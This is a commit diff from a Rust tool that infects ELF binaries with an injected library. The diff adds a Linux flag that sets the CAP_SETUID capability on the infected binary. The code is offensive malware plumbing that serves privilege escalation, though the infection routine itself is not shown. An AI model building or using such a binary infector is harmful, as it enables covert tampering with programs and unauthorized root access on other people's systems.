feat: added the ability to set CAP_SETUID
This commit is contained in:
@@ -33,6 +33,11 @@ struct Options {
|
||||
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||
#[structopt(long, default_value = "0")]
|
||||
delay_seconds_maximum: u8,
|
||||
|
||||
/// Whether or not to set the SETUID capability on a binary
|
||||
#[cfg(target_os = "linux")]
|
||||
#[structopt(long)]
|
||||
set_setuid_capability: bool,
|
||||
}
|
||||
|
||||
fn main() -> Result<(), Error> {
|
||||
@@ -78,7 +83,16 @@ fn main() -> Result<(), Error> {
|
||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
infect_elf_binary(
|
||||
opts.binary,
|
||||
opts.library_path,
|
||||
parameters_buffer,
|
||||
opts.set_setuid_capability,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user